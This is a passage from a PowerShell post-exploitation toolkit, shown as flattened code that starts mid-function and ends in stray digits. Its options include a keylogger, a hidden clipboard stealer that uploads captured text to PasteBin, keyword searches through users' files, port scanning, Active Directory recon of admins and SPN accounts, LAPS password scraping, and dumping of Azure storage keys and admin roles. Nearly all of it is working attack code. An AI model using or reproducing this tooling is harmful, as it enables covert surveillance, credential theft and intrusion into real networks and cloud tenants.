"" Write-Host " [*] Prompting For File Name ..." $keywrd = Read-Host -Prompt " [Filename]:" $a= @(Get-ChildItem C:\ | Where-Object {$_.Name -ne "Windows" -and $_.Name -ne "Program Files" -and $_.Name -ne "Program Files (x86)"}) Write-Output "" Write-Host " [*] Scanning ..." Write-Output "" foreach ($i in $a){ $keysearch = Get-Childitem -Path $i.FullName -Recurse -force -ErrorAction SilentlyContinue -Include *$keywrd* $keywrdfound += $keysearch } Write-Output "" Write-Host " Files Found: " -NoNewline ; Write-Host $keywrdfound.Count -ForegroundColor Green Write-Output "" foreach ($kw in $keywrdfound){ Write-Host $kw.FullName -ForegroundColor Green } } if ($cwlc -eq "2"){ $keywrd = Read-Host -Prompt " [Keyword]:" Write-Output "" $wtc = @(' Where To Crawl: 1. Targeted Directory 2. Full Directory ') $wtc $scan = Read-Host -Prompt " [Option]:" Write-Output "" if ($scan -eq "1"){ $scn = Read-Host -Prompt " [Directory to crawl]:" } else{ $scn = "C:\" } Write-Output "" Write-Host " [*] Searching for supported files ... (" -NoNewline ; Write-Host "log, txt, doc, docx, xlsx, xls, csv" -NoNewline -ForegroundColor Blue ; Write-Host ")" Write-Output "" $a= @(Get-ChildItem $scn | Where-Object {$_.Name -ne "Windows" -and $_.Name -ne "Program Files" -and $_.Name -ne "Program Files (x86)"}) foreach ($i in $a){ $formatsfound = @(Get-Childitem -Path $i.FullName -Recurse -force -ErrorAction SilentlyContinue -Include *.log, *.txt, *.docx, *.doc, *.xlsx, *.xls, *.csv) $filesfound += $formatsfound.Fullname } Foreach ($d in $filesfound){ if ($d -like "*.log" -or $d -like "*.txt"){ $lg = Get-Content -Path $d | Select-String -Pattern "$keywrd" if ($lg -ne $null){ Write-Host " Found in: " -NoNewline ; Write-Host $d -ForegroundColor Green } } # End of Log Search # Find in Word docs if ($d -like "*.doc" -or $d -like "*.docx"){ $word = New-Object -ComObject Word.Application $word.Visible = $false $wrd = $word.Documents.Open($d).Content.find.execute("$keywrd") if ($wrd -eq "True"){ Write-Host " Found in: " -NoNewline ; Write-Host $d -ForegroundColor Green } $word.Quit() } # End of Word Search # Find in Excel if ($d -like "*.csv" -or $d -like "*.xls" -or $d -like "*.xlsx"){ $excl = New-Object -ComObject Excel.Application $excl.Visible = $false $workbook = $excl.Workbooks.Open($d) $worksheets = @($workBook.sheets) foreach ($sheet in $worksheets){ $ex = $sheet.Cells.Find("$keywrd") } if ($ex -ne $null){ Write-Host " Found in: " -NoNewline ; Write-Host $d -ForegroundColor Green } $workbook.close() $excl.quit() } # End of Excel search } # End of crawl } } } # End Of Option 16 if ($option -eq "17"){ # Modified version of: http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx Write-Output "" Write-Host " [*] Prompting For Output Location (TXT) ..." $path = Read-Host -Prompt " [Location]:" $tp = Test-Path $path -ErrorAction SilentlyContinue if ($tp -ne "True"){ $path = "C:\temp\keylogger.txt" New-Item $path -Force -ErrorAction SilentlyContinue } Write-Output "" Write-Host " [*] Logging To $path ..." $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru Write-Output "" Write-Host " [*] Starting Logger ..." Write-Output "" try { while ((Test-Path $path) -ne $false){ Start-Sleep -Milliseconds 40 for ($ascii = 9; $ascii -le 254; $ascii++) { $state = $API::GetAsyncKeyState($ascii) if ($state -eq -32767) { $null = [console]::CapsLock $virtualKey = $API::MapVirtualKey($ascii, 3) $kbstate = New-Object -TypeName Byte[] -ArgumentList 256 $checkkbstate = $API::GetKeyboardState($kbstate) $mychar = New-Object -TypeName System.Text.StringBuilder $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success -and (Test-Path $path) -eq $true) { [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } } finally {exit} } # End Of Option 17 if ($option -eq "18"){ Write-Output "" $clpo = @(' Clippy Options: 1. Upload To PasteBin 2. Copy To File ') $clpo $clpc = Read-Host -Prompt " [Option]:" if ($record -eq "p" -or $record -eq "P"){ Write-Output " [*] PasteBin Selected ..." Write-Output " [*] Prompting For PasteBin Details ..." $pasteapikey = Read-Host -Prompt " [API Key]:" $pastename = Read-Host -Prompt " [Paste Name]:" if ($pastename -eq $null) { $pastename = "PSClippy" } Write-Host " [*] Creating Temp Files ..." $pasteapikey >> C:\temp\api.txt $pastename >> C:\temp\pastename.txt attrib +h "C:\temp\api.txt" attrib +h "C:\temp\pastename.txt" Write-Host " [*] Files Hidden ..." } else { $filechoice = 1 Write-Host " [*] Prompting For Output File Location (TXT File Supported) ..." $fileloc = Read-Host -Prompt " [Location]:" Write-Output "" while ($fileloc.EndsWith(".txt") -eq $false){ Write-Output "" Write-Host " Incorrect Value Entered ..." -ForegroundColor Red $fileloc = Read-Host -Prompt " [Location]:" } Write-Host " [*] Creating Temp Files ..." $fileloc >> C:\temp\file.txt attrib +h "C:\temp\file.txt" Write-Host " [*] Files Hidden ..." } Write-Output "" Write-Host " [*] Starting PSClippy ..." Write-Host " [*] Removing Temp Files ..." PowerShell.exe -windowstyle hidden { Write-Output "" $testfile = Test-Path -Path C:\temp\file.txt $testpaste = Test-Path -Path C:\temp\api.txt if ($testfile -eq "True"){ $filechoice = 1 $fileloc = Get-Content C:\temp\file.txt Remove-Item C:\temp\file.txt -Force } if ($testpaste -eq "True"){ $pastechoice = 1 $pasteapikey = Get-Content C:\temp\api.txt $pastename = Get-Content C:\temp\pastename.txt Remove-Item C:\temp\pastename.txt -Force Remove-Item C:\temp\api.txt -Force } $pclip = "" $array = @() $counter = 0 while($true){ # Get Clipboard $cclip = Get-Clipboard if ($pclip -eq $cclip){ #Do Nothing } else { $array += $cclip $pclip = $cclip $cclip = Get-Clipboard $counter++ if ($filechoice -eq 1){ $pclip >> $fileloc } } if ($pastechoice -eq 1){ # At 10, upload to PasteBin. You will need to add your API key * if ($counter -gt 9){ # Format Paste $Body = @{ api_dev_key = ‘$pasteapikey’ api_paste_code = (“$array”) api_paste_private = 0 api_paste_name = ‘$pastename’ api_option = ‘paste’ api_user_key = ”" } # Upload To PasteBin Invoke-WebRequest -Uri “https://pastebin.com/api/api_post.php" -UseBasicParsing -Body $Body -Method Post $counter = 0 } } # End of if paste = 1 Start-Sleep -Seconds 5 } } # Hidden } # End Of Option 18 if ($option -eq "19"){ $i = (curl "http://ifconfig.me/ip" -UseBasicParsing).Content $ps = @(20,21,22,23,25,50,51,53,80,110,119,135,136,137,138,139,143,161,162,389,443,445,636,1025,1443,3389,5985,5986,8080,10000) $w = 80 Write-Output "" Write-Host " Gateway: " -NoNewline ; Write-Host $i -ForegroundColor Green Write-Output "" Write-Host " [*] Scanning ..." Write-Output "" foreach ($p in $ps){ $t = new-Object system.Net.Sockets.TcpClient $r = $t.ConnectAsync($i,$p).Wait($w) if ($r -eq "True") { Write-Host " Open Port: " -NoNewline ; Write-Host $p -ForegroundColor Green } } Write-Output "" } # End Of Option 19 if ($option -eq "20"){ Write-Output "" Write-Host " [*] Requires ActiveDirectory Module..... " -ForegroundColor Red $domains = @((Get-ADForest).domains) foreach ($domain in $domains){ Write-Output "" Write-Host " Domain: $domain" -ForegroundColor Green Get-ADUser -Server $domain -Properties ServicePrincipalNames -Filter * | Where-Object {$_.ServicePrincipalNames -ne $null} | Select-Object UserPrincipalName, ServicePrincipalNames Write-Output "" } } # End Of Option 20 if ($option -eq "21"){ Write-Output "" Write-Host " [*] Sending Pulse ... " Get-NetNeighbor | Where-Object {$_.IpAddress -notlike "*::*" -and $_.state -eq "reachable"} | Format-Table IPAddress, LinkLayerAddress, State } # End Of Option 21 if ($option -eq "22"){ Write-Output "" Write-Host " [*] Finding Domain Admins ..." $lda = @((New-Object DirectoryServices.DirectorySearcher "ObjectClass=group").FindAll() | Where-Object {$_.path -like "LDAP://CN=Domain Admins*"}) $da = $lda.path -replace "LDAP://","" $da = ((New-Object DirectoryServices.DirectorySearcher "(memberOf=$da)").FindAll()) $tble = @() foreach ($usr in $da){ $name = $usr.Properties.name $upn = $usr.Properties.userprincipalname $sam = $usr.Properties.samaccountname $desc= $usr.Properties.description $t = New-Object -TypeName PSObject $t | Add-Member -MemberType NoteProperty -Name Name -Value $name $t | Add-Member -MemberType NoteProperty -Name Userprincipalname -Value $upn $t | Add-Member -MemberType NoteProperty -Name Samaccountname -Value $sam $t | Add-Member -MemberType NoteProperty -Name Description -Value $desc $tble += $t } $tble | Format-Table Write-Host " [*] Finding Domain Controllers ..." $tble = @() $ldc = @((New-Object DirectoryServices.DirectorySearcher "ObjectClass=Computer").FindAll() | Where-Object {$_.path -like "*Domain Controller*"}) foreach ($dc in $ldc){ $name = $dc.Properties.dnshostname [string]$ip = (Resolve-DnsName $name).IPAddress $os = $dc.Properties.operatingsystem $t = New-Object -TypeName PSObject $t | Add-Member -MemberType NoteProperty -Name Name -Value $name $t | Add-Member -MemberType NoteProperty -Name OperatingSystem -Value $os $t | Add-Member -MemberType NoteProperty -Name IPAddress -Value $ip $tble += $t } $tble | Format-Table $qus = Read-Host -Prompt " [*] Look for more interesting objects? [Y/N]" if ($qus -eq "y"){ Write-Output "" Write-Host " [*] Finding users of interest ..." Write-Output "" $lgi = @((New-Object DirectoryServices.DirectorySearcher "ObjectClass=group").FindAll() | Where-Object {$_.path -like "*sql*" -or $_.path -like "*admin*" -or $_.path -like "*critical*" -or $_.path -like "*security*"}) foreach ($l in $lgi){ $grp = $l.Properties.name $tble = @() $gi = $l.path -replace "LDAP://","" $gil = ((New-Object DirectoryServices.DirectorySearcher "(memberOf=$gi)").FindAll()) if ($gil.count -ne 0){ Write-Host "GroupName: $grp" foreach ($g in $gil){ $name = $g.Properties.name $upn = $g.Properties.userprincipalname $sam = $g.Properties.samaccountname $desc= $g.Properties.description $t = New-Object -TypeName PSObject $t | Add-Member -MemberType NoteProperty -Name Name -Value $name $t | Add-Member -MemberType NoteProperty -Name Userprincipalname -Value $upn $t | Add-Member -MemberType NoteProperty -Name Samaccountname -Value $sam $t | Add-Member -MemberType NoteProperty -Name Description -Value $desc $tble += $t } $tble | Format-Table start-sleep -Seconds 2 } } Write-Host " [*] Finding computers of interest ..." Write-Output "" $lgc = @((New-Object DirectoryServices.DirectorySearcher "ObjectClass=Computer").FindAll() | Where-Object {$_.path -like "*sql*" -or $_.path -like "*admin*" -or $_.path -like "*critical*" -or $_.path -like "*security*" -or $_.path -like "*XP*" -or $_.path -like "*legacy*" -or $_.path -like "*2003*"}) $tble = @() foreach ($c in $lgc){ $name = $c.Properties.dnshostname $ip = (Resolve-DnsName $name -ErrorAction SilentlyContinue).IPAddress $os = $c.Properties.operatingsystem $t = New-Object -TypeName PSObject $t | Add-Member -MemberType NoteProperty -Name Name -Value $name $t | Add-Member -MemberType NoteProperty -Name OperatingSystem -Value $os $t | Add-Member -MemberType NoteProperty -Name IPAddress -Value $ip $tble += $t } $tble | Format-Table } } # End Of Option 22 if ($option -eq "23"){ Write-Output "" $lcadm = (Get-CimInstance win32_useraccount | Where-Object {($_.sid).EndsWith("500")}) $lcadmname = $lcadm.Name $lcadmen = $lcadm.Disabled Write-Host " [*] Local admin of this machine for reference: $lcadmname | isDisabled: $lcadmen" Write-Host " [*] Attempting to scrape LAPs passwords in AD ... " Start-Sleep -Seconds 2 $fpss = @() try { $cmp = @(Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd); foreach ($c in $cmp){ $tb = New-Object -TypeName PSObject; $tb | Add-Member -MemberType NoteProperty -Name Name -Value $c.DNSHostName $tb | Add-Member -MemberType NoteProperty -Name Password -Value ($c).'ms-Mcs-AdmPwd' if ($tb.Password -ne $null){ $fpss += $tb } } } catch { Write-Host " [*] Error: Workgroup or no AD Powershell Module ... "; Write-Output "" } Write-Output ""; $fpss } # End Of Option 23 # if ($option -eq "to copy"){} # ------------------------- Cloud Options ------------------------- # Azure AD if ($option -eq "azad1"){ Get-AzureADTenantDetail | Select-Object DisplayName, ObjectId, TechnicalNotificationMails, TelePhoneNumber (Get-AzureADTenantDetail).VerifiedDomains | Format-Table Name, Type } # End Of AZAD1 if ($option -eq "azad2"){ $azroles = @(Get-AzureADDirectoryRole) foreach ($azr in $azroles){ Write-Output "" Write-Host $azr.DisplayName -ForegroundColor Green Write-Output "" Get-AzureADDirectoryRoleMember -ObjectId $azr.ObjectId | Format-Table DisplayName, UserPrincipalName, Mail, Mobile, JobTitle } } # End Of AzAD2 # Azure Cloud if ($option -eq "az1"){ Get-AzContext -ListAvailable Write-Output "" $subname = Read-Host -Prompt " Please Select A SubscriptionName:" Set-AzContext -SubscriptionName $subname Start-Sleep 3 Write-Output "" Write-Host " [*] Microsoft Default Connection URLs are ..." Write-Output "" Write-Host " Blob storage: http://" -NoNewline ; Write-Host "mystorageaccount" -NoNewline -ForegroundColor Red; Write-Host ".blob.core.windows.net" Write-Host " File storage: http://" -NoNewline ; Write-Host "mystorageaccount" -NoNewline -ForegroundColor Red; Write-Host ".file.core.windows.net" Write-Host " Table storage: http://" -NoNewline ; Write-Host "mystorageaccount" -NoNewline -ForegroundColor Red; Write-Host ".Table.core.windows.net" Write-Host " Queue storage: http://" -NoNewline ; Write-Host "mystorageaccount" -NoNewline -ForegroundColor Red; Write-Host ".queue.core.windows.net" $sas = @(Get-AzStorageAccount) Write-Output "" Write-Host " [*] Starting Search ..." Write-Output "" foreach ($sa in $sas){ Write-Host " StorageAccountName: " -NoNewline; Write-Host $sa.StorageAccountName -ForegroundColor Green Write-Host " ResourceGroupName: " -NoNewline; Write-Host $sa.ResourceGroupName -ForegroundColor Green Get-AzStorageAccountKey -ResourceGroupName $sa.ResourceGroupName -StorageAccountName $sa.StorageAccountName | Format-Table -HideTableHeaders Write-Output "" } } # End Of Az1 if ($option -eq "az2"){ $azsubs = @((Get-AzSubscription).name) $uaas = @() Write-Output "" Write-Host " [*] Running Through Subscriptions ... " -ForegroundColor Green foreach ($sub in $azsubs){ Set-AzContext -SubscriptionName $sub $uaa = Get-AzRoleAssignment -RoleDefinitionName "User Access Administrator" -ErrorAction SilentlyContinue if ($uaa -ne $null){ Write-Output "" Write-Host "[*] User Access Administrators Found:" -ForegroundColor Green foreach ($ua in $uaa){ Write-Host $ua.SignInName } } else { Write-Host "[*] No User Access Administrators Found..." -ForegroundColor Red } Write-Output "" } } # End Of Az2 } # End Of option while662133 4511674 9123965 9680243 6516501 5295207 1133725 8507704 7893036